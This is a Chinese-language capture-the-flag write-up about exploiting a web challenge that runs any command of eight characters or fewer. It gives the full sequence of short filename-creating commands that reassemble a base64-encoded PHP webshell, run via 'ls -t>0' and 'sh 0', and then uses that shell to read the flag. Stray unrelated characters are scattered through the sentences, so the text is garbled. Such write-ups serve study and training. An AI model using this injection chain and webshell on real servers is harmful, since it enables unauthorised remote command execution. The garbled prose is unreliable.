題目來(lái)源
近期在練習(xí)CTF中的web題目時(shí)遇到一個(gè)8位字符以內(nèi)可以隨意執(zhí)行命令彭谁,最終需要getshell 的題目肛捍,發(fā)現(xiàn)很多前輩都寫(xiě)了這類(lèi)型的題解椭微,但也需要自己實(shí)踐一下洞坑,題目源碼訪問(wèn)后如圖:
題目展示的源碼
思路:可以看出當(dāng)提交的參數(shù)1包含的值少于8位時(shí),都會(huì)當(dāng)作命令執(zhí)行蝇率,首先
?1=ls
發(fā)現(xiàn)所有文件名都超過(guò)了8位迟杂,顯然單靠這8位執(zhí)行命令是不足以cat某個(gè)文件,于是需要利用拼接文件名執(zhí)行代碼getshell本慕。ls查看目錄文件
解題利用知識(shí)點(diǎn)
>a "在linux中會(huì)直接創(chuàng)建這個(gè)文件排拷,但沒(méi)有內(nèi)容"
ls -t "將目錄中的文件以時(shí)間順序排列,最后創(chuàng)建的排在第一位"
sh a "將文件a中的所有內(nèi)容以命令執(zhí)行"
who/
am/
i "Linux中的命令拼接符/會(huì)將命令按照whoami執(zhí)行"
例如
whoami命令拼接
在這個(gè)題目中就是要將一個(gè)一句話木馬寫(xiě)入文件锅尘,然后訪問(wèn)這個(gè)一句話從而getshell监氢,這里使用創(chuàng)建一句話的命令為:
echo <?php echo shell_exec($_GET[1]); >1.php "便于查看回顯"
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php "使用base64的方式避免$等特殊字符輸入失敗"
將這段話倒序輸入后再利用ls -t>0
正序輸入文本中執(zhí)行,就可以生成一個(gè)一句話木馬藤违。
>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
使用cat a
查看ls -t
寫(xiě)入的內(nèi)容
image.png
使用
ls
查看sh a
是否成功執(zhí)行生成了1.php
image.png
并連接使用
mv flag.php flag.txt
將flag
修改為txt
格式浪腐。image.png
最終訪問(wèn)flag.txt得到flag